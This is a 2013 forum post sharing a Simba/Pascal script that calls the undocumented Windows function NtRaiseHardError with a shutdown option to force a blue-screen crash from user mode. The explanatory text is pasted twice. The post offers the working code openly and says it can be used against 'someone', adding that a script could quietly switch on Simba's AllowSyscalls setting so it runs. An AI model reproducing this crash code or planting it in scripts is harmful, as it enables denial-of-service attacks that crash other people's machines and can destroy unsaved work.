Brandon
2013-08-12 20:07:26
I'm told it is fine and I don't have to delete my thread or code.. So here it is for the everyone to see since it isn't harmful. No plugins or anything. Just pure PS and Simba.
You can BSOD someone from user mode (yes user mode – not kernel mode) with the following:
Obviously requires someone to have AllowSyscalls set to on. It isn't very hard to implement changing Simba's settings through a script to allowsyscalls either. Nothing fancy just some WINAPI stuff but pretty neat lol. The 5th parameter is actually what causes the BSOD by setting the value to "6".
You can BSOD someone from user mode (yes user mode – not kernel mode) with the following:
const
STATUS_LOG_HARD_ERROR = $4000001A;
type HARDERROR_RESPONSE_OPTION = (
OptionAbortRetryIgnore, OptionOk, OptionOkCancel, OptionRetryCancel, OptionYesNo, OptionYesNoCancel, OptionShutdownSystem
);
type HARDERROR_RESPONSE = (
ResponseReturnToCaller, ResponseNotHandled, ResponseAbort, ResponseCancel, ResponseIgnore, ResponseNo, ResponseOk, ResponseRetry, ResponseYes
);
type UNICODE_STRING = record
Length: ShortInt;
MaximumLength: ShortInt;
Buffer: ^WideString;
end;
Function NtRaiseHardError(NTStatus, NumberOfParameters: LongInt; UnicodeStringParameterMask: ^UNICODE_STRING; Parameters: ^Cardinal; HardErrorResponse: HARDERROR_RESPONSE_OPTION; var PHardErrorResponse: HARDERROR_RESPONSE): LongInt; external 'NtRaiseHardError@ntdll.dll stdcall';
var
Response: HARDERROR_RESPONSE;
begin
NtRaiseHardError(STATUS_LOG_HARD_ERROR, 0, 0, nil, OptionShutdownSystem, Response); //can also be done with: ZwRaiseHardError
end.
Obviously requires someone to have AllowSyscalls set to on. It isn't very hard to implement changing Simba's settings through a script to allowsyscalls either. Nothing fancy just some WINAPI stuff but pretty neat lol. The 5th parameter is actually what causes the BSOD by setting the value to "6".